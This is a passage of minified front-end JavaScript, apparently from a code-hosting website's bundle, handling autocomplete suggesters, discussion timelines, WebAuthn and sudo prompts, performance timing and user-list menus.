jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new 